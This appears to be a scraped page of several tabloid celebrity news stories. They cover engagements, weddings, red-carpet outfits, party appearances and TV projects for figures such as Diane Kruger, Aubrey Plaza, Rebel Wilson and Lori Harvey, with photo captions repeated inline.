Black Family Film Center of The Museum of Modern Arts Department of Film Flower power: Her unique, sleeveless blouse featured a prominent collar and was structured with a hem just below her chest Diane penned a heartfelt message to her family on the Thanksgiving holiday as she shared a snap with everyone covering their faces while watching the Macy's Thanksgiving Day Parade fly by. 'To say Im grateful for my family would be an understatement,' she wrote. 'Ive never loved harder and deeper From our family to yours Lets keep each other close today and every day .' Their three-year-old whose name has never been revealed donned a hat and gloves, and matched her proud papa with her hands over her eyes. It was confirmed that she and Reedus, 52, welcomed a daughter together (her first) in November 2018. Classic: She wore a gorgeous matching white skirt with dramatic pleats and black strappy shoes to match a black clutch City slicker: Diane stayed warm underneath a blue velvet blazer as she stepped out for the star-studded event in Manhattan The couple, who first met on the set of the movie Sky in 2015, went public with their romance in 2017. And after nearly six years together, PEOPLE confirmed on August 26 that the duo were engaged. Two weeks later, she was spotted out with a massive diamond on her left finger in photos obtained by DailyMail.com before she officially revealed the sparkler at the Met Gala on Sept. 13. Family forever: Diane penned a heartfelt message to her family on the Thanksgiving holiday as she shared a snap with everyone covering their faces while watching the Macy's Thanksgiving Day Parade fly by Proud parents: The couple met while filming Sky in 2015 and welcomed their first child, a daughter, in 2018; seen in 2018 The square-cut diamond is said to be at least eight carats, with a staggering estimated cost of $500K, according to ring expert Mike Fried of The Diamond Pro. Prior to her relationship with the Walking Dead actor, Kruger was in a 10-year romance with Joshua Jackson from 2006-16. Reedus previously dated supermodel Helena Christensen from 1998-2003. The former pair share a 22-year-old son, Mingus, who was arrested for misdemeanor assault on Sept. 24, after punching a woman in the face following an altercation at the San Gennaro Festival in Little Italy. The budding model who made his debut on the cover of Vogue Hommes weeks before was subsequently released. During a hearing in November, Mingus was ordered to stand trial on Jan. 5 with a possibility of a disposition at that time, which is also the day before his father's birthday. She's never afraid to flash the flesh during artistic photo shoots. But model Natalie Roser accidentally showed a little more than she bargained for on Tuesday, as she joined a gaggle of socialites to celebrate Natasha Oakley's clothing brand Monday Swimwear in Sydney. The 31-year-old was pictured onboard a superyacht with her genetically blessed pals, when she decided to do a brief outfit change at the end of the boat. Yikes! Natalie Roser accidentally showed a little more than she bargained for on Tuesday, as she accidentally flashed her chest while onboard a superyacht in Sydney But it appears a gust of wind may have caught her off-guard, as Natalie found herself flashing her entire chest before slipping on the pretty white blouse. At any rate, Natalie of course looked incredible in the gorgeous linen number, which she teamed with a pair of hoop earrings and a chic necklace. Meanwhile, woman of the hour Natasha oozed sexiness in a $194 Barcelona Tunic from her own brand, which showed off her svelte pins and slender frame to perfection. Breezy! The 31-year-old fashionista was pictured onboard a yacht with her genetically blessed pals, when she decided to do a brief outfit change at the end of the boat Whoops! But it appears a gust of wind may have caught her off-guard, as suddenly Natalie found herself flashing her entire chest before slipping on the pretty white blouse Here come the girls! Natalie (left) was onboard the yacht to celebrate Natasha Oakley (fourth right) and her swimwear brand. A whole host of socialites joined them, including (L-R) Liv Pollock, Love Island's Amelia Marni, Simone Holtznagal, blogger Tara Whiteman, Shannon Lawson and Lola Thompson Chin chin! The ladies appeared to be having a whale of a time as they enjoyed cocktails and took selfies while the sun set She teamed her look with a dewy makeup palette and slicked back hair, and looked like a million dollars as she posed up a storm with her friends. Also onboard was socialite Simone Holtznagel, who was a vision in a lemon yellow top and trouser combo. The Australia's Next Top Model star wore her locks in a casual bun, and accessorised with a chunky bracelet and necklace. Stunner: Woman of the hour Natasha oozed sexiness in a $194 Barcelona Tunic from her own brand, which showed off her svelte pins and slender frame to perfection Lovely: She teamed her look with a dewy makeup palette and slicked back hair, and looked like a million dollars as she posed up a storm with her friends Selfie queens! The group were spotted taking a picture of their cocktail glasses while the sun was setting on the horizon More photos! Some of the ladies opted for a gorgeous yellow ensemble Liv Pollock, who is dating Stranger Things actor Dacre Montgomery, looked stunning as she rocked up to the event. Wearing a similar yellow colour to Simone, she looked beautiful in a wrap-around top and trousers, which showed off her washboard abs to perfection. Aussie model Shannon Lawson, who also appeared in Australian Survivor, looked gorgeous in a flesh-flashing white shirt and coral-coloured trousers. Show-stopping display: Also onboard was socialite Simone Holtznagel, who was a vision in a lemon yellow top and trouser combo. Pictured with Tash (centre) and Liv Pollock (right) Fun gang! The genetically blessed gang appeared in very high spirits as they partied the night away on the superyacht All aboard! The party was to celebrate Natasha's successful swimwear brand, Monday Swimwear, which she founded Devin Brugman. The pair founded the brand in 2014 and it has skyrocketed since Success story: Tash ranked 71 out of 100 on the Financial Review Young Rich list in November. The annual list recognises the 'best and brightest next generation of entrepreneurs, aged 40 and younger' The party was to celebrate Natasha's successful swimwear brand, Monday Swimwear, which she founded alongside Devin Brugman in 2014. Tash ranked 71 out of 100 on the Financial Review Young Rich list in November. The annual list recognises the 'best and brightest next generation of entrepreneurs, aged 40 and younger'. Tash is estimated to be worth $63million and ranked just ahead of Margot Robbie, who is estimated to be worth $62million. He's the Aussie supermodel who has taken the fashion world by storm. But on Thursday, Jordan Barrett swapped the catwalk for front row at the Dior Men's Fall 2022 show in London. The 25-year-old, who hails from Byron Bay, cut a stylish figure in an edgy grey jacket and matching trousers as he stepped out at the Olympia Grand event centre. Front row! Jordan Barrett swapped the catwalk for front row at the Dior Men's Fall 2022 show in London last Thursday Jordan's jacket featured a high neck, a button-up design and star embroidery on the collar and a brooch-like design on the front. He teamed the look with tailored trousers with a blue stripe down the sides. A Dior jacket that is similar in style retails for upwards of $5,000. Pricey! Jordan's jacket featured a high neck, a button-up design and star embroidery on the collar and a brooch-like design on the front. A Dior jacket that is similar in style retails for upwards of $5,000 Blue steel! Jordan gave the camera his best blue steel gaze Jordan, who has modelled for the likes of Tom Ford and Balmain, appeared in high spirits at the show. He even posed up for pictures with Kate Moss' model daughter, Lila Grace Moss Hack, 19. Lila, who bares a striking resemblance to her supermodel mother, looked chic in a pale green silk set and a turtleneck. Pals: He posed up for pictures with Kate Moss' model daughter, Lila Grace Moss Hack, 19 Relaxed: Jordan, who has modelled for the likes of Tom Ford and Balmain, appeared in high spirits as he stepped out Snap happy: Jordan shared a series of pictures of himself from the evening and congratulated Dior and designer Kim Jones on the new collection Jordan shared a series of pictures of himself from the evening and congratulated Dior and designer Kim Jones on the new collection. 'Congratulations to the whole team,' part of his post read. It comes after Jordan married male model Fernando Casablancas in August in Ibiza, with Moss and her daughter present. Fernando is the brother of The Strokes front man Julian Casablancas. Their late father John Casablancas founded Elite Model Management. 'It was very spontaneous, but his wedding planner Serena Cook was able to pull some strings to make sure it was very special since his Aussie family couldn't attend,' a source told Daily Mail Australia about their wedding. It's the annual music countdown beloved by indie music snobs across the country. But Triple J's Hottest 100 could see the inclusion of a very famous pop star next year. Justin Bieber, 27, has been tipped to top the Hottest 100 next year thanks to his recent collaboration with The Kid Laroi, 18 - despite previous calls from listeners to 'ban' the Canadian pop prince from the countdown. Back on top? Justin Bieber, 27, (right) is currently tipped to top the Hottest 100 next year, thanks to his recent collaboration with The Kid Laroi, 18 (left) - despite previous calls from listeners to 'ban' the Canadian pop prince from the countdown Popular Indigenous Australian rapper Laroi partnered with Bieber to release their hit single Stay in July this year. The song has since attracted critical success, peaking at at number one on America's Billboard Hot 100 and becoming the fastest song ever to hit a billion streams on Spotify. Voting opened to the public for the Hottest 100 on Wednesday, and betting sites including Sportsbet have already tipped Stay as the winner. Worldwide hit: Stay, Bieber's duet with Aussie rapper The Kid Laroi (second from left), was released in July and became the fastest song ever to hit a billion streams on Spotify. Pictured L-R: Laroi's girlfriend Katarina Deme, Laroi, Justin Bieber, Justin's wife Hayley Bieber Stay currently has the shortest odds of $2.50 on Sportsbet, beating out Good 4 U by Olivia Rodrigo and The Angel of 8th Ave. by Gang of Youths. It would be no surprise to see Stay top the Hottest 100 when it goes to air on February 22 next year. Stay was named Australia's best pop release at the 2021 ARIA Awards, while Laroi (real name Charlton Kenneth Jeffrey Howard) also received the ARIA gong for best artist thanks to his work on the track. Winner: Stay was named Australia's best pop release at the 2021 ARIA Awards, while Laroi (real name Charlton Kenneth Jeffrey Howard) also received the ARIA gong for best artist thanks to his work on the track Bieber's inclusion is rather ironic, however, given Triple J's rumoured 'ban' just a few years ago. Controversy swept the Hottest 100 back in 2015 after a social media campaign to get Justin Bieber's music in the countdown went viral. The viral campaign was started by a betting agency in Ausralia and was subsequently backed by Bieber himself, who re-Tweeted the viral hashtag #Bieber4Hottest100. Controversy: Bieber's inclusion is rather ironic, however, given Triple J's rumoured 'ban' just a few years ago. Controversy swept the Hottest 100 back in 2015 after a social media campaign to get Justin Bieber's music in the countdown went viral This sparked backlash from die-hard Triple J listeners who opposed the inclusion of mainstream artists. Many accused the betting agency that started the social media campaign of 'hijacking' Triple J's otherwise-democratic voting process. A spokesperson for the station subsequently issued a statement about the Bieber campaign, telling Tone Deaf: 'We want genuine votes from genuine listeners.' Not happy: This sparked backlash from die-hard Triple J listeners who opposed the inclusion of mainstream artists 'It isn't fair to Triple J listeners or artists whose songs could be undermined when campaigns try to incentivise votes or troll the poll.' Triple J, which has long been known for championing emerging musicians, implemented a new set of voting guidelines in response to the Bieber campaign. Bieber's music itself has never been banned by Triple J. Rather, it is unethical voting methods that are forbidden under Triple J's voting guidelines. Lisa Wilkinson offered a sheepish apology to Matthew McConaughey during an interview with the Hollywood hunk on Tuesday's episode of The Project. 'I must say belatedly on behalf of the women of Australia, I'm really sorry, because I recently learned that, according to you, Australian chicks didn't dig you,' said the 61-year-old Project panelist. But Matthew, 52, awkwardly had no recollection of having ever made the throwaway remark, after spending a year in Australia as an exchange student when he was 18. Sorry: Lisa Wilkinson (pictured) offered a sheepish apology to Matthew McConaughey during an interview with the Hollywood hunk on Tuesday's episode of The Project The Texas native lived on the NSW Central Coast during what he described as a 'formative' year spent abroad. As Lisa asked, 'What did we do wrong?', a confused Matthew simply responded, 'Did I say that?' He added: 'It might've been more my fault. It was a formative year but it was an awkward year as well. So a lot of the blame is probably on me for that.' 'I must say belatedly on behalf of the women of Australia, I'm really sorry, because I recently learned that, according to you, Australian chicks didn't dig you,' Lisa told a confused Matthew McConaughey (pictured) Exchange student: The Texas native lived on the NSW Central Coast during what he described as a 'formative' year spent abroad In his autobiography Greenlights, Matthew confessed he struggled to 'maintain my sanity in the strange place I was in'. He added that he got 'very thin' during his year abroad in Australia, and worked six different jobs during his time here. 'I also decided to become abstinent for the rest of the year, which still had nine months in it,' he wrote. Out of his comfort zone: In his autobiography Greenlights, Matthew confessed he struggled to 'maintain my sanity in the strange place I was in' 'I started believing that my life's calling was to become a monk. I made plans to go to South Africa after my year's exchange and free Nelson Mandela.' The Sing 2 star said he was enrolled at an 'awkward' high school where he complained 'everyone wore uniforms and played tag at lunch'. 'No one wanted to party and the chicks were not digging me,' he added. She's the self-confessed 'geek' from Love Island Australia star who was brutally dumped after just ten days in the villa. And Rachael Evren shook off her heartbreak as she enjoyed the premiere of the latest Spider-Man film with a gal pal in Sydney on Tuesday evening. The 21-year-old opted for a very daring ensemble for the night out, risking a wardrobe malfunction in a black skirt with a thigh high split paired with a green corset top. Thigh's the limit! Love Island Australia's Rachael Evren risked a wardrobe malfunction in a skirt with a daring thigh high split as she went to the Sydney premiere of the new Spider-Man film with a gal pal on Tuesday Her skirt featured a ruched semi-circle detail that drew attention to her bare hip. The brunette beauty accessorised with a lime green mini tote and matching heels. Her gal pal also opted for green, wearing a bodycon dress with a Louis Vuitton handbag. The friends were seen munching on fries from Oporto as they made their way to the cinema ahead of the show. Yum! The friends were seen munching on fries from Oporto as they made their way to the cinema ahead of the show Daring: Her skirt featured a ruched semi-circle detail that drew attention to her bare hip After the movie, Rachael shared a photo of herself posing in front of the movie poster. 'What. A. Movie. I'll try to contain my excitement until the official release but all I can say is. Those end credits,' she wrote alongside it. 'What. A. Movie': After the movie, Rachael shared a photo of herself posing in front of the movie poster 'Shocked': Rachael was one of the original five ladies on season three of Love Island Australia, but she was dumped from the villa after 10 days - leaving her partner Chris Graudins in tears Rachael was one of the original five ladies on season three of Love Island Australia, but she was dumped from the villa after 10 days - leaving her partner Chris Graudins in tears. But it wasn't long until he locked lips with newcomer Zoe Clish, who he is currently in a relationship with. Speaking to Daily Mail Australia at the time, Rachael admitted she was 'shocked' to see Chris move on so fast. Moving on: But it wasn't long until he locked lips with newcomer Zoe Clish (pictured), who he is currently in a relationship with That was quick: Rachael admitted she was 'shocked' to see Chris move on so fast. 'I watched it the same time Australia did, so I watched the episode and he kissed that girl and I was like, "Oh my god. I can't believe this is happening,"' she said. Pictured is Chris and Rachael 'I watched it the same time Australia did, so I watched the episode and he kissed that girl and I was like, "Oh my god. I can't believe this is happening,"' she said. Rachael said she'd been 'questioning everything' she thought she knew about Chris. 'I'm 100 per cent open to talking to him and seeing his side of things... I need to know what's going on because what he did was not okay,' she said. She gave birth to her daughter Dylan just three months ago. And model Georgia Fowler showed off her incredible post-baby body in a bikini as she relaxed on a boat with her little girl on Wednesday. The Victoria's Secret stunner flaunted her cleavage, slender legs and midsection in a halterneck two-piece. Yummy mummy! Model Georgia Fowler showed off her incredible post-pregnancy figure in a bikini as she cradled her daughter Dylan on a boat on Wednesday She accessorised with a gold cuff, a ring and a pair of designer shades. Georgia let her post-pregnancy glow shine by going makeup free and her brunette locks were styled in beachy waves. It comes after the beauty shared a series of intimate photos of herself breastfeeding her newborn daughter, Dylan, on Instagram on Tuesday. The 29-year-old sat serenely on a white couch as her three-month-old daughter fed on her right breast. 'Feeding a newborn is a full-time job, those early weeks of engorgement, the worry about your supply, the leaks through your tops, and, well, everywhere else - it's a messy time,' she captioned the post. Feeding time: It comes after the beauty shared a series of intimate photos of herself breastfeeding her newborn daughter, Dylan, on Instagram on Tuesday Promoting a range of eco-friendly baby products, Georgia offered a few encouraging words of support to fellow new mums: 'Go mamas, you got this.' Georgia welcomed Dylan with her businessman boyfriend Nathan Dalah on September 17. 'Dylan Aman Dalah. 17.9.21. Welcome to the world. We love you so much,' she wrote, sharing a series of photos of the adorable newborn. Keeping mum: The 29-year-old model sat serenely on a white couch as her three-month-old daughter fed on her right breast The New Zealand-born beauty announced she was expecting her first child with the FISHBOWL co-founder back in April. At the time, she shared the news by writing: 'We can't wait to meet you, little one.' 'It's been hard to keep this one quiet, but now it's pretty hard to hide,' she added. New addition: Georgia welcomed Dylan with her businessman boyfriend Nathan Dalah on September 17 'Nathan and I couldn't be happier to share our exciting news with you. We cannot wait to meet you little one and begin our next adventure together. The best is yet to come.' Last month, Georgia paid tribute to her little girl on her two-month birthday, revealing her sweet nickname. 'Two months of Diddy. Thanks for being the coolest, most serene, and now the smiliest bub out. (And for sleeping six-hour stints). We love you more than life itself,' she wrote on Instagram. Aubrey Plaza surprised her fans in May 2021 when she revealed that her boyfriend of 10 years of dating, she had married film director Jeff Baena. The 37-year-old actress first revealed the news casually on Instagram, calling him, 'my darling husband,' but now she's opening up about her 'quarantine wedding.' The Parks and Recreation star appears on Wednesday's episode of Ellen, where she laid out the details of her wedding while promoting her new children's book, The Christmas Witch - which the actress dressed up as on Ellen. Married: Aubrey Plaza surprised her fans in May 2021 when she revealed that her boyfriend of 10 years of dating, she had married film director Jeff Baena Witch: The Parks and Recreation star appears on Wednesday's episode of Ellen, where she laid out the details of her wedding while promoting her new children's book, The Christmas Witch - which the actress dressed up as on Ellen The actress joked that her elaborate outfit - a red minidress with a large black witch had and a black feathered cloak - is simply, 'how I dress post-pandemic.' She added that, 'a lot of things happened during COVID for me,' and when Ellen asked if she wanted to talk about her husband, the actress sighed and said, 'All right.' 'The thing was... yes, we got married, big deal,' she said, as Ellen's studio audience started applauding. Post-pandemic look: The actress joked that her elaborate outfit - a red minidress with a large black witch had and a black feathered cloak - is simply, 'how I dress post-pandemic' Big deal: 'The thing was... yes, we got married, big deal,' she said, as Ellen's studio audience started applauding When Ellen brought up that they have been together for 10 years, Plaza said, 'That's what I'm saying, who cares. We got a little bored one night and we got married, and I'll tell you now.' 'OneHourMarriage.com. That's real, look it up,' she said with a laugh, with Ellen asking if that, 'cured the boredom.' 'Well, it was our 10-year anniversary, we were in the lockdown, as you know, things got a little crazy, especially my house, with the witch across the street and my husband getting into tie-dying,' adding he would do, '50 shirts a day.' Bored: When Ellen brought up that they have been together for 10 years, Plaza said, 'That's what I'm saying, who cares. We got a little bored one night and we got married, and I'll tell you now' Real: 'OneHourMarriage.com. That's real, look it up,' she said with a laugh, with Ellen asking if that, 'cured the boredom' 'I just said, "Hey, it's our 10-year anniversary, we should just do something special," and I joked about getting married and he's like, "Well we probably couldn't get married that fast,"' Plaza added. She added, 'Wouldn't it be nice to get married on our actual anniversary?' and she 'Googled it' and found the website OneHourMarriage.com. She said she 'ran across the street' to the 'witch' named Dandelion and asked her for a spell or something to help, and she came out with a 'rosemary wreath' and 'cackled' when she gave it to her. Special: 'I just said, "Hey, it's our 10-year anniversary, we should just do something special," and I joked about getting married and he's like, "Well we probably couldn't get married that fast,"' Plaza added Anniversary: She added, 'Wouldn't it be nice to get married on our actual anniversary?' and she 'Googled it' and found the website OneHourMarriage.com Plaza added she then created a quick 'love altar' in their yard, and then the man from the website showed up, 'in a Hawaiian shirt and briefcase.' 'I can't remember a lot of it, it was fuzzy, but I'm pretty sure it's legal,' Plaza said. Plaza has starred in Baena's feature films Life After Beth, Joshy, The Little Hours and the upcoming Spin Me Round. He became a global sensation after throwing an out-of-control party at his parents' house in Melbourne in 2008. And now, Corey Worthington has returned to TV screens in a new home insurance advertisement for ShareCover. The now 30-year-old is promoting insurance for damage to property and contents from guests having parties in the home. He's back! Notorious party boy Corey Worthington has returned to screens in a new home insurance advert... 14 years after trashing his parents' property 'I'm Corey Worthington but you can call me Corey trust Worthington because I'm a changed man,' he said. 'I've left all that behind and that's why ShareCover has asked me to be your guide to help protect your holiday home from harm.' Corey sprang to national attention in 2008 when he threw a wild party at his parents' home in suburban Melbourne when he was just 16 years old. After publicising the event on Myspace, a reported 500 revellers turned up and the carnage that ensued attracted police helicopters and the dog squad to the property. New role: The now 30-year-old is promoting insurance for damage to property and contents from guests having parties in the home Two days later, a video was uploaded to YouTube of an interview Corey did with A Current Affair about the party and its aftermath. 'Why don't you take your glasses off so we can see you,' interviewer Leila McKinnon asked. 'Nah, nah, I'll leave these on. I like them,' he replied. While he did say he was sorry, he added: 'I can't be exactly blamed for everything that happened, it wasn't in the house, it was out on the street and I didn't do it. Making headlines: Corey sprang to national attention in 2008 when he threw a wild party at his parents' home in suburban Melbourne when he was just 16 years old 'The police said stay inside so you won't get in trouble, and I did what he said, so...' As Leila pushed him to apologise further and show his face, he added: 'I'll say sorry, but I'm not taking off my glasses...' After finding fame in 2008, Corey starred on Big Brother season eight later that year. In 2018, he returned to reality television on the second season of Australian Ninja Warrior, debuting his muscular physique. Heidi Klum and Alessandra Ambrosio were dressed to the nines on Tuesday night as they attended a Dundas X REVOLVE holiday party at the celebrity hotspot Craig's. The 48-year-old Making The Cut star and the 40-year-old Brazilian model both lit up the evening as they were seen arriving at the celebration in West Hollywood. Also making appearances at the gathering were Lori Harvey, 24, and Borat 2 star Maria Bakalova, 25. Celebrity hotspot: Heidi Klum, 48, led a bevy of stars arriving at a holiday party at Craig's in West Hollywood on Tuesday Cute couple: Also making an appearance was Brazilian model Alessandra Ambrosio, 40, who arrived with her model boyfriend Richard Lee Heidi shimmered in her ruched red stain dress, which barely reached down to her thighs. She stayed warm on the chilly night thanks to a black leather jacket with a fleece lining, which she wore draped over her shoulders. The 5ft9in German model stood tall in thigh-high black boots decorated with intricate gold designs, and she accessorized with a slim black-and-gold clutch. She completed her lovely look with her stylish blond locks, which she wore with bangs just over her eyes as the rest of her hair rested over her chest. Woman in red: Heidi shimmered in her ruched red stain dress, which barely reached down to her thighs. She stayed warm on the chilly night thanks to a black leather jacket with a fleece lining, which she wore draped over her shoulders Towering: The 5ft9in German model stood tall in thigh-high black boots decorated with intricate gold designs, and she accessorized with a slim black-and-gold clutch Blond beauty: She completed her lovely look with her stylish blond locks, which she wore with bangs just over her eyes as the rest of her hair rested over her chest Alessandra opted for a white dress that was ruched around her midriff and reached down to the ground. The outfit featured a plunging top that highlighted her cleavage, but she partly covered it with a furry black coat draped over her shoulders. Her brunette locks were parted at the side to allow her red lips to stand out, and she completed her look with a boxy black clutch and silver open-toe heels. Joining her for the evening was her boyfriend, the model Richard Lee, who wore a black velvet tuxedo jacket with lustrous lapels, along with a black turtleneck and gray trousers. Woman in white: Alessandra opted for a white dress that was ruched around her midriff and reached down to the ground, which she covered with a furry black coat Dapper: Joining her for the evening was her boyfriend, the model Richard Lee, who wore a black velvet tuxedo jacket with lustrous lapels, along with a black turtleneck and gray trousers Craig's serves a variety of upscale American and AmericanItalian dishes, but it has become known as a popular meeting place for celebrities. Among those looking to party into the night was Lori Harvey, who showcased her winning figure in a pink zebra stripepatterned mini dress. The outfit featured long sleeves and a tall collar, along with revealing cut-outs over her sides. The daughter of Steve Harvey flaunted her infectious smile while revealing her trim legs in black open-toe heels that strapped around her ankles. She carried a quilted black handbag with her and wore her hair tied back in a voluminous ponytail. Hypnotizing: Among those looking to party into the night was Lori Harvey, who showcased her winning figure in a pink zebra stripepatterned mini dress Striking: The outfit featured long sleeves and a tall collar, along with revealing cut-outs over her sides. The daughter of Steve Harvey flaunted her infectious smile while revealing her trim legs in black open-toe heels that strapped around her ankles Accessorized: She carried a quilted black handbag with her and wore her hair tied back in a voluminous ponytail Maria Bakalova looked toasty in a massive cable knit sweater dress. The cream-colored outfit was covered with knit fringe over the shoulders and sleeves, and she contrasted it with thigh-high black leather boots. The Bulgarian actress accessorized with a black Louis Vuitton handbag, and she wore her blond hair tied back in a low-slung bun to expose her gold hoop earrings. Comfortable: Maria Bakalova looked toasty in a massive cable knit sweater dress She released her debut children's book in late October to roaring success across Australia. Now Rebel Wilson's book Bella the Brave has found its way to a classroom at The School of St Jude in the East African country of Tanzania. The Australian actress shared a heartwarming video to Instagram of Bella the Brave being read out by a teacher to the young students in her classroom. Reach: Rebel Wilson celebrated her children's book Bella the Brave being read out to school children in a Tanzanian classroom 'BELLA THE BRAVE has made it to @schoolofstjude in Tanzania!' Rebel, 41, captioned the post. 'Thank you to these young gifted scholars and talented teachers for welcoming Bella into your school,' she said. The clip sees the teacher reading the book out to a classroom full of captivated children. Heartwarming: The Australian actress shared a video to Instagram of Bella the Brave being read out by a teacher to the students in her classroom At one point, she shows the kids the page she is on and asks them where the title character is located. The video then cuts to the children reading the book in different groups. Rebel has had a long association with St Jude and has been sponsoring students from the school since 2016. Where is Bella? At one point, the teacher shows the kids the page she is on and asks them where the title character is located The Pitch Perfect star donated $250,000 to the school after winning the US version of Who Wants to Be a Millionaire? in January. In February, Rebel shared a video which featured graduates from St Jude who are now attending university. The graduates thanked the actress for her donation, sponsorship and support over the years. Money well spent! Rebel Wilson [pictured] has proudly shared the achievements of the students she sponsored since 2016, which have gone on to graduate from school and qualify for university in Tanzania 'School of St Jude in Tanzania graduates... who are now going to University,' Rebel began her caption. 'I am so proud of the 20 graduates who now are funded to go to university using the $250,000 prize money I just won on Who Wants To Be A Millionaire? last month,' she added. Rebel went on to wish the students well, particularly those who she remembers meeting in the US. Glorious: 'School of St Jude in Tanzania graduates... who are now going to University,' she began her caption. Rebel's book Bella the Brave was released in late October and is her first foray into the world of literature. The Bridesmaids star revealed in an interview with The Morning Show that the inspiration behind Bella the Brave came from her memories growing up in Australia. 'I kind of wanted to use stories from my real life that hopefully inspire and motivate young kids everywhere,' Rebel told Morning Show hosts Larry Emdur and Kylie Gillies. 'The first book is about overcoming shyness and it talks about a story where my mum dragged me into a local community centre to join the girls choir,' she recalled. Inspiration: The Pitch Perfect star revealed in an interview that the inspiration behind Bella the Brave came from her memories growing up in Australia Rebel says that experience led her to the world of the creative arts, which gave her the freedom to express herself and overcome her shyness. The Isn't It Romantic actress adds that the book is the first in a series that will draw from experiences from her childhood. 'It will be a series of books, but this is the first one. They will be about different things,' she confirmed before revealing the next one will be about 'body positivity' and the third one about 'siblings'. Lori Harvey was a sight for sore eyes on Tuesday night as she attended a star-studded Dundas x REVOLVE holiday party at Craig's in West Hollywood. The 24-year-old stunner showcased her incredible curves in a purple, patterned dress with cut-outs on the waist. Harvey mingled with the likes of supermodels Alessandra Ambrosio and Heidi Klum while partying at the celeb-friendly restaurant. Stunner: Lori Harvey was a sight for sore eyes on Tuesday night as she attended a star-studded holiday party at Craig's in West Hollywood Lori's figure-hugging dress fell mid-thigh and featured a mock neckline and long sleeves. Her curly, raven tresses were slicked back into a ponytail that flowed down her back. The girlfriend of Michael B. Jordan slipped her feet into a pair of black strappy heels that exposed her bright white pedicure. As for makeup, Lori drew attention to her gorgeous eyes with a pair of dramatic faux lashes and hydrated her plump pout with some clear lip gloss. Cut-out: The 24-year-old stunner showcased her incredible curves in a purple, patterned dress with cut-outs on the waist She wore a pair of diamond studs in her ears and toted her belongings in a mini blue velvet purse. Missing from the action was Lori's hunky actor boyfriend Michael B. Jordan who has been hitting the promo circuit for his new film A Journal For Jordan. The romance film, which hits theater on Christmas Day, follows a deployed sergeant who keeps a journal for his newborn son. It was directed by Denzel Washington and produced by the 66-year-old actor and Michael. Star-studded: Harvey mingled with the likes of supermodels Alessandra Ambrosio and Heidi Klum while partying at the celeb-friendly restaurant Chic: Lori's figure-hugging dress fell mid-thigh and featured a mock neckline and long sleeves After several months of dating, Lori confirmed in January that she was romantically involved with the 34-year-old Black Panther star. In November, the couple celebrated their one year anniversary with a private dinner with a customized menu for the occasion. In a recent interview with The Hollywood Reporter, Jordan made a rare comment about their flourishing relationship and how their romance has inspired him to showcase his sexy side a bit more in his career. He explained: 'There are roles that I passed on that I knew I didnt have enough life experience to play. I was like, "What can I pull from?" But I finally found what love was.' Loved up: Missing from the action was Lori's hunky actor boyfriend Michael B. Jordan who has been hitting the promo circuit for his new film A Journal For Jordan Big deal: The Denzel Washington-directed romance film, which hits theater on Christmas Day, follows a deployed sergeant who keeps a journal for his newborn son; Michael and Denzel pictured on December 9 Michael said that he may have not been able to handle the scrutiny of such a public relationship as he told THR: 'When I was younger, I dont know if I could have handled the onslaught of opinions and being picked apart, and also being conscious of what the other persons going to go through. 'It takes a special person to deal with that.' He went on to say that his relationship with the daughter of television personality Steve Harvey felt 'real enough' to showcase to the world. Flourishing: In a recent interview with The Hollywood Reporter , Jordan made a rare comment about their flourishing relationship and how their romance has inspired him to showcase his sexy side a bit more in his career Anniversary: In November, the couple celebrated their one year anniversary with a private dinner with a customized menu for the occasion The actor said: 'Theres a premeditated planning of staying out of the way [of the public eye] that sometimes kills spontaneity and intimacy. I wanted to take that away and give this the best chance it had, in this weird world that we live in, to be somewhat normal.' Through it all one thing remains clear; the Creed actor is elated with where he is in his personal life. Michael said: 'Long story short, I think its just the timing of everything. It was the right time for me. Yeah. I'm happy.' Line Of Duty stars Vicky McClure and Martin Compston shared a hilarious behind-the-scenes video singing along to co-star Adrian Dunbar's version of What A Wonderful World on Tuesday. The actors, who play DI Kate Fleming and DS Steve Arnott to Adrian's Superintendent Ted Hastings in the police procedural drama, could barely stop laughing in the video captured during filming for the show's sixth series. As well as acting, Adrian, 63, was frontman of his own band - Adie Dunbar And The Jonahs - which has toured across America. Change from AC-12: Line Of Duty stars Vicky McClure and Martin Compston shared a hilarious behind-the-scenes video singing along to co-star Adrian Dunbar's version of What A Wonderful World on Tuesday Sharing the clip, Vicky wrote: 'Just a little something for your timeline from us 3. (Back when we were filming LOD6 and yes that is Adrian singing).' In the video Vicky and Martin, both 37, can be seen energetically lip-syncing and dancing, before cracking up over the Louis Armstrong hit's line 'I love you, I hear babies cry.' Adrian's band released an album called Two Brothers, some of the tracks penned by Dunbar. In 2019 he performed in a central London branch of Pizza Express for an 'Audience With' event, and performed a rousing rendition of What A Wonderful World on Ireland's Late, Late Show. Ted Hastings: As well as acting, Adrian, 63, was frontman of his own band - Adie Dunbar And The Jonahs - which has toured across America (pictured in Line Of Duty) Adrian has recently been spotted filming his new gritty new police drama Ridley in Manchester on Monday. The series will portray a retiring Detective Inspector, Alex Ridley, played by Adrian, who has been pushed out of the job he loves. Of the new show, he said: 'I don't think I've ever headed into a production with more excitement and enthusiasm. 'As an actor I know how rare it is to be given such a wonderful opportunity, and the combination of Polly Hill and Chloe Tucker at ITV and Jonathan Fisher at West Road Pictures means we are in both safe and creative hands. 'Jonathan and I worked closely together on the very successful series 'Blood', and I'm confident we can bring some of that magic to Ridley. Tuneful: The actors, who play DI Kate Fleming and DS Steve Arnott to Adrian's Superintendent Ted Hastings in the police procedural drama, could barely stop laughing in the video captured during filming for the show's sixth series Banter: Sharing the clip, Vicky wrote: 'Just a little something for your timeline from us 3. (Back when we were filming LOD6 and yes that is Adrian singing)' 'Here's to getting the team together and developing a show that audiences can find both entertaining and engaging.' The plot sees Ridley replaced by his former protegee, Acting DI Carol Farman, who later enlists him as a police consultant on a complex murder case. This then takes a dark and unexpected turn, and he is enticed out of retirement into his former role and revives his partnership with Carol. Singing: In 2019 he performed in a central London branch of Pizza Express for an 'Audience With' event, and performed a rousing rendition of What A Wonderful World on Ireland's Late, Late Show Paul Matthew Thompson - one of the lead writers of ITV detective drama Vera - has written and co-created the show, alongside Jonathan, and both will act as executive producers. Jonathan said: 'I couldn't be happier to be getting started on Ridley, as we continue to build the West Road production slate with our second commission for ITV. 'We're so excited to be teaming up once again with the inimitable Adrian Dunbar, bringing to life Paul Matthew Thompson's characterful and engaging scripts. 'ITV has a fine tradition of nurturing much-loved detective series, and it's a real privilege to be bringing Ridley to the channel.' Paul added: 'I am thrilled to be working with Jonathan Fisher and West Road Pictures to bring Ridley to life for ITV. 'Equally delighted that he'll be portrayed by the iconic Adrian Dunbar. With his maverick idiosyncrasies, a heart on sleeve empathy and a unique approach to solving crime we hope Ridley will soon join the canon of favourite TV detectives.' The four, two-hour episodes will begin filming later this winter. Advertisement Nicole Kidman became emotional as she 